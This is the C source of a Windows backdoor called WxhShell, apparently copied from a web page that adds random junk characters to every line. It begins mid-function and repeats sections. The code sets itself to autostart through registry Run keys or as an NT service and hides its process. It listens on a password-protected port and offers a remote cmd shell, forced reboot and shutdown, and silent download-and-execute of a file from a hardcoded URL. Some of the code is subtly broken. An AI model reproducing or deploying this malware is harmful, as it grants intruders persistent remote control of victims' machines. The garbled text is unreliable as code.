    if(Boot(SHUTDOWN)) 8}?w %FsN#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !&pk^VFl+  
    else { E=t^I/f)E  
    closesocket(wsh); JsDT  
    ExitThread(0); UoHNKB73  
    } cQ(,M  
    break; o_cAelI[!  
    } U3t) yr h  
  // 获取shell 3 ]w a8|  
  case 's': { fK+[r1^  
    CmdShell(wsh); rS_pv=0S  
    closesocket(wsh); CmdPa!4)  
    ExitThread(0); ';I(#J6  
    break; QsyM[;\j:  
  } m.c2y6<=  
  // 退出 X)S4vqf}  
  case 'x': { Kc+TcC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v-}B T+  
    CloseIt(wsh); UD_8#DO{m1  
    break; G4wJv^6i9  
    } Wx8n)  
  // 离开 ]Ryg}DOQ  
  case 'q': { n1rJ^q-G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U[6 ~ad a  
    closesocket(wsh); r=<1*u  
    WSACleanup(); Xuj=V?5  
    exit(1); .B{:<;sa  
    break; f9^MLb6)  
        } +5H1n(6)  
  } "O8iO!:  
  } 9XX:_9|I  
'3TfW61]  
  // 提示信息 51`*VR]`K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,$"T/yYer  
} &"clBR Vg  
  } j4$NQ]e^4  
-P28pVX`  
  return; A#nSK#wS61  
} DlQ*'PX7  
:xC1Ka%~  
// shell模块句柄 l|fb;Giq=D  
int CmdShell(SOCKET sock) dl+:u}9M$  
{ *yN#q>1  
STARTUPINFO si; " l>tFa  
ZeroMemory(&si,sizeof(si)); 9''x'E=|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;qaNIOo9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?F9c6$|  
PROCESS_INFORMATION ProcessInfo; M^0^l9w  
char cmdline[]="cmd"; 7|X.E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iy [W:<c7j  
  return 0; !XT2'6nu  
} h3MZLPe  
~--F?KUnL  
// 自身启动模式 nI,-ftMD-|  
int StartFromService(void) =[YjIWr#o  
{ /v7o!D1G  
typedef struct [wM]w  
{ o| 9Mj71  
  DWORD ExitStatus; 9zlhJ7i  
  DWORD PebBaseAddress; Bu7aeBP  
  DWORD AffinityMask; oe{,-<yck  
  DWORD BasePriority; |[MtUWEW  
  ULONG UniqueProcessId; A8j$c~  
  ULONG InheritedFromUniqueProcessId; @^,9O92l  
}   PROCESS_BASIC_INFORMATION; ? ;$f"Wl  
73kI%nNB  
PROCNTQSIP NtQueryInformationProcess; 5]Y?NN,GR  
; e)vk|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hGj`IAW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z;PF% F  
T;{"lp.  
  HANDLE             hProcess; Imz1"+E~  
  PROCESS_BASIC_INFORMATION pbi; C ,#D4  
sdXZsQw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FXFyF*w2  
  if(NULL == hInst ) return 0; 1_5]3+r_U-  
b}Wm-]|+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); husk\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q82yh&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o*:D/"gb  
b$=c(@]  
  if (!NtQueryInformationProcess) return 0; -02.n}u>  
!">EZX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j&Y{ CFuZ  
  if(!hProcess) return 0; $DhW=(YM_a  
mxmj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 52'0l>  
g!!:o(k  
  CloseHandle(hProcess); ?Y_!Fr3V  
lh*!f$2 ~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "1ov<  
if(hProcess==NULL) return 0; c>L#(D\\  
^d!I{ y#  
HMODULE hMod; eRB K= X  
char procName[255]; xs$.EY:k  
unsigned long cbNeeded; X?n($z/ {  
pu Z0_1uN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :zsMkdU  
`f\+aD'u  
  CloseHandle(hProcess); ,*g.?q@W2  
O*m9qF<  
if(strstr(procName,"services")) return 1; // 以服务启动 dS;Ui]/J  
fU ^5Dl  
  return 0; // 注册表启动 TS@U0Ror  
} iKAqM{(  
-[ xbGSj{  
// 主模块 )* Rr5l /l  
int StartWxhshell(LPSTR lpCmdLine) ivJTE  
{ VMJK9|JC[  
  SOCKET wsl; ~A,(D-  
BOOL val=TRUE; GLa_[9 "  
  int port=0; KKM!($A  
  struct sockaddr_in door; R|R3Ob.e  
M`QK{$1p  
  if(wscfg.ws_autoins) Install(); ?xb2jZ/0X  
tW"s^r=95  
port=atoi(lpCmdLine); @+; cFj  
w! ':Ws  
if(port<=0) port=wscfg.ws_port; pzcof#2  
{/K!cPp9  
  WSADATA data; Dj x[3['  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  #-K,,"  
s+&iH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ee#\XE=A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T)*tCp]  
  door.sin_family = AF_INET; Q6=>*}Cm6m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ bv JZ_  
  door.sin_port = htons(port); ]h}O&K/  
D<(VP{ ,G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JJu}Ed_  
closesocket(wsl); (zIF2qY  
return 1; ]QmY`pTB`  
} 1owe'7\J  
Ct386j><  
  if(listen(wsl,2) == INVALID_SOCKET) { fP;2qho  
closesocket(wsl); ZG1 {"J/z  
return 1; 2GJp`2(%dA  
} AqjEz+TVt  
  Wxhshell(wsl); s Vg89I&  
  WSACleanup(); SaiYdJ  
s^ K:cz  
return 0; J9XV:)Yv#  
c}D>.x|]  
} z-;yDB:~t  
oL*ZfF3  
// 以NT服务方式启动 e4Xo(EY &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tz_WxOQ0  
{ 9~yp =JOV@  
DWORD   status = 0; a\Dw*h?b~  
  DWORD   specificError = 0xfffffff; 0m'tPFQ|  
^LAdN8Cbb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4/E>k <MA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -k}&{v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'T*h0xX  
  serviceStatus.dwWin32ExitCode     = 0; ~0Xx]  
  serviceStatus.dwServiceSpecificExitCode = 0; zmh5x{US1  
  serviceStatus.dwCheckPoint       = 0; <x\I*%(  
  serviceStatus.dwWaitHint       = 0; ?CZ*MMV  
KhPDkD-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KAm$^N5  
  if (hServiceStatusHandle==0) return; S<"`9r)av  
~ ]^<*R  
status = GetLastError();  @po|07  
  if (status!=NO_ERROR) s]i<D9h  
{ X.JPM{]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .*+e?-  
    serviceStatus.dwCheckPoint       = 0; 2jH&@g$cl;  
    serviceStatus.dwWaitHint       = 0; 9H,Ec,.  
    serviceStatus.dwWin32ExitCode     = status; uU#e54^  
    serviceStatus.dwServiceSpecificExitCode = specificError; D]WU,a[$Bc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q=_tjg  
    return; xI^nA2g  
  } z|sR `]K  
Fn*)!,)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PZSi}j/  
  serviceStatus.dwCheckPoint       = 0; JURJN+)z  
  serviceStatus.dwWaitHint       = 0; 19;F+%no#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t$5)6zG  
} D8wZC'7  
6D1tRo  
// 处理NT服务事件,比如:启动、停止 {b90c'8?a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i-31Cxb  
{ 8ubb~B;  
switch(fdwControl) :qO)^~x  
{ =.f<"P51k  
case SERVICE_CONTROL_STOP: cK H By  
  serviceStatus.dwWin32ExitCode = 0; 6 +x>g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .DZ8kKY  
  serviceStatus.dwCheckPoint   = 0; y2NVx!?n  
  serviceStatus.dwWaitHint     = 0; 7g&<ZZo  
  { j!hdi-aTU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r`!S*zK  
  } cS#m\O  
  return; 7;H P_oAu  
case SERVICE_CONTROL_PAUSE: =@ "'aCU/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @-5V~itW  
  break; - u'5xn7  
case SERVICE_CONTROL_CONTINUE: L$s ;tJ   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A_<1}8{L  
  break; Q^\f,E\S  
case SERVICE_CONTROL_INTERROGATE: :H`Z.>K  
  break; h6C:`0o  
}; Kgu#M i~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); - ]Mp<Y  
} 3M<T}>  
t/0h)mL}  
// 标准应用程序主函数 i 79;;9M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8WL*Pr 1I  
{ o9L$B  
u4;#~##  
// 获取操作系统版本 {_1zIt|  
OsIsNt=GetOsVer(); (S#nA:E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [wR x)F"  
_#rE6./@q  
  // 从命令行安装 Y)OTvKrOA  
  if(strpbrk(lpCmdLine,"iI")) Install(); LwS>jNJx  
M>"J5yqR  
  // 下载执行文件 8nOent0a  
if(wscfg.ws_downexe) { {\zB'SNq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?^W`7HF%0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0w<qj T^U  
} xlU:&=|  
=}Xw}X+[WY  
if(!OsIsNt) { xyc`p[n &  
// 如果时win9x,隐藏进程并且设置为注册表启动 %)@3V8OI  
HideProc(); @$%[D`Wa<  
StartWxhshell(lpCmdLine); Zi~-m]9U  
} o"./  
else /6a617?9J  
  if(StartFromService()) SYmiDR  
  // 以服务方式启动 k>dzeH  
  StartServiceCtrlDispatcher(DispatchTable); )A H)*Mg  
else E< Ini'od[  
  // 普通方式启动 &Eqa y'  
  StartWxhshell(lpCmdLine); $7JWA9#N!  
ums*EKjs97  
return 0; d ,!sZ&v  
} [_,Gk]F=  
z'd*z[L~  
NamO5(1C  
!JC!GS"M5  
=========================================== Mk$Pt  
%K|+4ZY3  
vaOCH*}h  
Ci?A4q$.  
bP 8O&R  
q%xq\L.  
" _|%l) KO  
h|S6LgB  
#include <stdio.h> _/ Uer }  
#include <string.h> [j^c&}0  
#include <windows.h> _ BUD~'Q5  
#include <winsock2.h> qD/X%`>Q  
#include <winsvc.h> .B|a.-oA4  
#include <urlmon.h> M<"H1>q@  
e[AwR?=  
#pragma comment (lib, "Ws2_32.lib") xfJ&11fG2  
#pragma comment (lib, "urlmon.lib") <fm0B3i?  
]iL>Zxex  
#define MAX_USER   100 // 最大客户端连接数 *dE5yS`H  
#define BUF_SOCK   200 // sock buffer :UdH}u!Ek  
#define KEY_BUFF   255 // 输入 buffer YoEL|r|  
L-\o zp  
#define REBOOT     0   // 重启 1ZK~i  
#define SHUTDOWN   1   // 关机 BPkqC>w  
`lA[-x~  
#define DEF_PORT   5000 // 监听端口 / %:%la%  
5EqC.g.  
#define REG_LEN     16   // 注册表键长度 .8K ~ h  
#define SVC_LEN     80   // NT服务名长度 ~\~K ,v  
mrvPzoF,]  
// 从dll定义API V)g{ Ew]:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kgw_c:/'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K!a4>Du{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xp<p(y8e1d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DeTD.)pS  
&z"sT*3  
// wxhshell配置信息 loPBHoE3@H  
struct WSCFG { q&`>&k  
  int ws_port;         // 监听端口 O=LiCSNEV  
  char ws_passstr[REG_LEN]; // 口令 A(<"oAe|  
  int ws_autoins;       // 安装标记, 1=yes 0=no AJ`R2 $  
  char ws_regname[REG_LEN]; // 注册表键名 Oe^oigcM  
  char ws_svcname[REG_LEN]; // 服务名 Sd0y=!Pj=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v%6mH6V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :n t\uwh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [hT|]|fJS;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o/Cu^[an  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -WX{ y Ci  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?6[X=GeUs  
c3NUJ~>=y  
}; p0S;$dH\ D  
C@8WY  
// default Wxhshell configuration qIIl,!&}A  
struct WSCFG wscfg={DEF_PORT, +@c-:\K%  
    "xuhuanlingzhe", DoYzTSWx  
    1, [)&(zJHX  
    "Wxhshell", Hlg Q0qb  
    "Wxhshell", a'pJg<  
            "WxhShell Service", S@'yuAe*G  
    "Wrsky Windows CmdShell Service", R:LT hFx  
    "Please Input Your Password: ", ;0!rq^JG  
  1, Z$'483<  
  "http://www.wrsky.com/wxhshell.exe", h+rrmC  
  "Wxhshell.exe" gU^2;C  
    }; u(`,7 o "  
)K+ Tvx3(m  
// 消息定义模块 (VxWa#P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Vd"AVn}g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iKu~o.yy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  @aC2]  
char *msg_ws_ext="\n\rExit."; `vijd(a?v  
char *msg_ws_end="\n\rQuit."; ~Ue t)y<  
char *msg_ws_boot="\n\rReboot..."; />i~No#Xm  
char *msg_ws_poff="\n\rShutdown..."; xNaDzu"  
char *msg_ws_down="\n\rSave to "; ~!Q\\_  
lN-[2vT<  
char *msg_ws_err="\n\rErr!"; !]-ET7  
char *msg_ws_ok="\n\rOK!"; X+*"FKm S.  
ayb fBC  
char ExeFile[MAX_PATH]; Dm.tYG  
int nUser = 0; =H\ig%%E@  
HANDLE handles[MAX_USER]; =!RlU)w  
int OsIsNt; Apfs&{Uy  
Qs^Rh F\d  
SERVICE_STATUS       serviceStatus; <hO|:LX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 07?|"c.  
/4f4H?A -  
// 函数声明 l]GUQcN=  
int Install(void); ?z2k 74&M^  
int Uninstall(void); Rf~? u)h1  
int DownloadFile(char *sURL, SOCKET wsh); oq>8  
int Boot(int flag); xqua>!mqS  
void HideProc(void); {{\ d5CkX  
int GetOsVer(void); pM^r8kIH  
int Wxhshell(SOCKET wsl); zeZ}P>C  
void TalkWithClient(void *cs); r^$4]@Wn  
int CmdShell(SOCKET sock); dIUg e`O9  
int StartFromService(void); {J}Zv5  
int StartWxhshell(LPSTR lpCmdLine); }gr6naz  
q-;z!iq|!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C6XZZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -0{"QhdE%  
j(;o   
// 数据结构和表定义 _qPd)V6yb  
SERVICE_TABLE_ENTRY DispatchTable[] = ^j1WF[GiSO  
{ ;U^7 ]JO;  
{wscfg.ws_svcname, NTServiceMain}, 5ecAev^1-  
{NULL, NULL} TZ]D6.mD  
}; }4; \sY  
j/FFxlFNL  
// 自我安装 o$=D`B  
int Install(void) iA^GA8dn  
{ XA$Z 7_gu3  
  char svExeFile[MAX_PATH]; b\U p(]  
  HKEY key; f0^DsP  
  strcpy(svExeFile,ExeFile); iYyJq;S   
BtZycI  
// 如果是win9x系统,修改注册表设为自启动 8u401ddg  
if(!OsIsNt) { l9%oKJ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qOV6Kh)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pErre2fS  
  RegCloseKey(key); sKkk+-J4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &4%j   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Zm%U_$<  
  RegCloseKey(key); P7||d@VW,  
  return 0; AvN\^ &G  
    } ^E5[~C*o3  
  } zdwr5k  
} nI-^   
else { ;JK !dzi}  
<oE(I)r4,  
// 如果是NT以上系统,安装为系统服务 UY_'F5X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l~/g^lN  
if (schSCManager!=0) k_2W*2'S  
{ d@:4se-q+  
  SC_HANDLE schService = CreateService aK%i=6j!  
  ( xlqh,?'>W  
  schSCManager, ;n9r;$!f  
  wscfg.ws_svcname, drJ<&1O  
  wscfg.ws_svcdisp, Z.Sq5\d  
  SERVICE_ALL_ACCESS, kO]],Vy`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9K>$  
  SERVICE_AUTO_START, bUW`MH7yJ  
  SERVICE_ERROR_NORMAL, `[.':"~2N  
  svExeFile, >lo,0oG  
  NULL, gCMwmanX  
  NULL, @q?zh'@;  
  NULL, O>=D1no*  
  NULL, | 'SqG}h  
  NULL -N')LY  
  ); l>i<J1  
  if (schService!=0) QsaaA MGY  
  { *EZ'S+wR  
  CloseServiceHandle(schService); PF,|Wzx  
  CloseServiceHandle(schSCManager); fNVNx~E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O6LuFT .  
  strcat(svExeFile,wscfg.ws_svcname); #'qEm=%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { USKa6<:{W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2qb,bp1$  
  RegCloseKey(key); ;xnJ+$//U  
  return 0; kp~@Ub @O3  
    } 5z8!Nmb/  
  } BPoY32d"_  
  CloseServiceHandle(schSCManager); IT3xX=|b  
} 0 ttM_]#q  
} "Q:m0P xb  
'g8~uP  
return 1; MLL4nkO,`  
} ?mK`Wleh?  
?jywW$   
// 自我卸载 9Bl c  
int Uninstall(void) ,cR=W|6cQm  
{ H!y%FaTi  
  HKEY key; Rw$>()}H8  
cO,ELu  
if(!OsIsNt) { : QK )Ym  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KJ Gh)  
  RegDeleteValue(key,wscfg.ws_regname); vHY."$|H  
  RegCloseKey(key); -q9`Btz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kI>Iq Q-h  
  RegDeleteValue(key,wscfg.ws_regname); /dU-$}>ZI  
  RegCloseKey(key); x0ZEVa0`4  
  return 0; "#T3l^@  
  } |OXufV?I  
} #tyHjk  
} (UDR=7w)  
else { MLV_I4o  
6vVx>hFJ47  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x)M=_u2 _  
if (schSCManager!=0) ,Db+c3  
{ fqaysy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M@e&uz!Rx  
  if (schService!=0) \de82 4  
  { *R17 KMS  
  if(DeleteService(schService)!=0) { o#X|4bES  
  CloseServiceHandle(schService); l4oI5)w  
  CloseServiceHandle(schSCManager); $:I~y| !1  
  return 0; p&w XRI  
  } $gsn@P>"  
  CloseServiceHandle(schService); 6Sh0%F s  
  } ipB*]B F[  
  CloseServiceHandle(schSCManager); w(kN0HD  
} %;UEyj  
} `3!ERQU  
YYDLFt r2  
return 1; 30 Vv Zb  
} \~4uEk"]  
-Dw qoWZ  
// 从指定url下载文件 z= pb<Y@X  
int DownloadFile(char *sURL, SOCKET wsh) ' bio: 1  
{ Fx']kn9  
  HRESULT hr; e-;$Iv  
char seps[]= "/";  WDr'w'  
char *token; M IPmsEdBi  
char *file; wy5vn?T@  
char myURL[MAX_PATH]; 7bioLE  
char myFILE[MAX_PATH]; Gd$odKtI  
cDMA#gp  
strcpy(myURL,sURL); EB'(%dH  
  token=strtok(myURL,seps); w=Xil  
  while(token!=NULL) 7Wg0-{yK4  
  { oXG,8NOdC  
    file=token; +OkR7bl  
  token=strtok(NULL,seps); ;L.@4b[lP  
  } mBgMu@zt)  
:&Xy#.un  
GetCurrentDirectory(MAX_PATH,myFILE); nfck3h  
strcat(myFILE, "\\"); yu~~"Rq)  
strcat(myFILE, file); ,mH2S/<}S  
  send(wsh,myFILE,strlen(myFILE),0); ^y"Rdv  
send(wsh,"...",3,0); E<;C@B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1,fjdd8OM;  
  if(hr==S_OK) xe[Cuy$P  
return 0; kBd #=J  
else VJ P]Jy_  
return 1; -p =b5L  
UPgjf  
} xfw)0S  
|S#)[83*3  
// 系统电源模块 1lu _<?O  
int Boot(int flag) @qH{;  
{ )}\T~#Q]y  
  HANDLE hToken; +.MHI   
  TOKEN_PRIVILEGES tkp; . Rxz;-VA  
n\ aG@X%oq  
  if(OsIsNt) { f,z_|e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }./__gJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9/ R|\  
    tkp.PrivilegeCount = 1; Qy |*[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :WejY`}H%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :i+Tf~k{  
if(flag==REBOOT) { Kr`Cr5v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RP&H9>  
  return 0; wYZFW'5p  
} gl-O"%rMcL  
else { D 4^2F(YRX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gTZ1LJ  
  return 0; XEM i~L+  
} U}(*}Ut  
  } bY7d  
  else { 5=/H2T!F  
if(flag==REBOOT) { i[A$K~f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >[B[Q_})  
  return 0; -sl] funRy  
} 4Y8/>uL  
else { A?'Tigi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k8w }2Vw  
  return 0; PO5/j  
} <m"Zk k  
} mu0ER 3o  
"<x%kD  
return 1; 0m_c43+^  
} I:[^><?E  
)xIk#>)  
// win9x进程隐藏模块 jD9 ^DzFx  
void HideProc(void) gy/z;fB  
{ yU3fM?a  
uqPagt<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sEq_K#n{  
  if ( hKernel != NULL ) Im i)YC  
  { 7*]O]6rP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?n9gqwO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qc-jOl  
    FreeLibrary(hKernel); _] veTAV  
  } Y ## ftQ  
Oe=7z'o  
return; rI)op1K  
}  Hrm^@3  
z/(^E8F  
// 获取操作系统版本 E9t[Mb %0  
int GetOsVer(void) }N!I|<"/  
{ j u`x   
  OSVERSIONINFO winfo; x;2tmof=L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;QQLYT  
  GetVersionEx(&winfo); .~qu,q7k~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zoh[tO   
  return 1; k2o98bK&;  
  else Q.Tn"rE|  
  return 0; I5PI;t+  
} W>+\A"  
>.N?y@  
// 客户端句柄模块 XhjH68S(  
int Wxhshell(SOCKET wsl) E c[-@5x  
{ OD 09XO  
  SOCKET wsh; #-kG\}  
  struct sockaddr_in client; >AI65g  
  DWORD myID; 8?AFvua}r  
|u{NM1,  
  while(nUser<MAX_USER) $TS4YaJ%  
{ (mIw3d8Tz  
  int nSize=sizeof(client); < TJzp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ],9%QE  
  if(wsh==INVALID_SOCKET) return 1; Xc -'&"  
FB3C'!'<)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oHH-joYnn  
if(handles[nUser]==0) zLd i  
  closesocket(wsh); EEmYfP[3  
else E4~k)4R  
  nUser++; fOs}5J  
  } gB,~Y511  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1:5jUUL8  
#]pFE.o  
  return 0; T7_i: HU%  
} daS l.:1  
6jT+kq)  
// 关闭 socket aj;OG^(!2_  
void CloseIt(SOCKET wsh) F @ lJk|*_  
{ R@Ch3l@  
closesocket(wsh); X}C }  
nUser--; 6?u9hi  
ExitThread(0); ~ {OBRC  
} -:]_DbF  
~LqjWU  
// 客户端请求句柄 v8Gm ;~  
void TalkWithClient(void *cs) nS'hdeoW  
{ @ *'$QD,  
53X H|Ap  
  SOCKET wsh=(SOCKET)cs; X;/~d>@  
  char pwd[SVC_LEN]; G\4h4% a  
  char cmd[KEY_BUFF]; uzjP!qO  
char chr[1]; v.Wkz9 w}  
int i,j; _GSl}\  
KLi&T mIB  
  while (nUser < MAX_USER) { YJi C}.4Q  
]/>(C76  
if(wscfg.ws_passstr) { i Qs7L y"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #5*|/LD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J_) .Hd  
  //ZeroMemory(pwd,KEY_BUFF); d 2f   
      i=0; Bbk=0+ ^8I  
  while(i<SVC_LEN) { a(- ^ .w  
2 )oT\m  
  // 设置超时 Kppi N+||  
  fd_set FdRead; eP6`"<UM  
  struct timeval TimeOut; /, T@/  
  FD_ZERO(&FdRead); uR#aO''  
  FD_SET(wsh,&FdRead); P:,@2el  
  TimeOut.tv_sec=8; ^p3"_;p)h  
  TimeOut.tv_usec=0; b7&5>Q/ g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t@dv$W2 "  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wJ 0KI[p(S  
(Q~ p"Ch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8{QN$Qkn  
  pwd=chr[0]; |/rms`YQ  
  if(chr[0]==0xd || chr[0]==0xa) { )xKZ)SxV  
  pwd=0; imGg3'  
  break; V?x&.C2Z  
  } K]5@bm  
  i++; ;la sk4|  
    } .dqV fa  
mOm_a9M L  
  // 如果是非法用户,关闭 socket ro:B[XE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M@\A_x(Mas  
} j?a^fcXB  
x,)|;HXm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )nncCU W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rs*]I\  
(.Q.S[<Y  
while(1) { w<}kY|A"=-  
<OF2\#Nh  
  ZeroMemory(cmd,KEY_BUFF); }.bhsy  
h0i/ v  
      // 自动支持客户端 telnet标准   `1;m:,9  
  j=0; tCZ3n  
  while(j<KEY_BUFF) { c;X8: Z=ja  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j0^%1  
  cmd[j]=chr[0]; &z'N Q !uV  
  if(chr[0]==0xa || chr[0]==0xd) { LHit9O[_/s  
  cmd[j]=0; \v|nRn,`-  
  break; N$cm;G=]  
  } :xqhPr]e  
  j++; of?hP1kl[  
    } H?\b   
$Sz@u"ig%  
  // 下载文件 fjD/<`}v  
  if(strstr(cmd,"http://")) { YVSAYv_ZG}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~< ~PaP$=\  
  if(DownloadFile(cmd,wsh)) njhDrwN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O}$@|w(8;  
  else OFcL h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nd~cpHQR^  
  } l~_] k  
  else { gzV&S5A{_  
xLZJ[:gr  
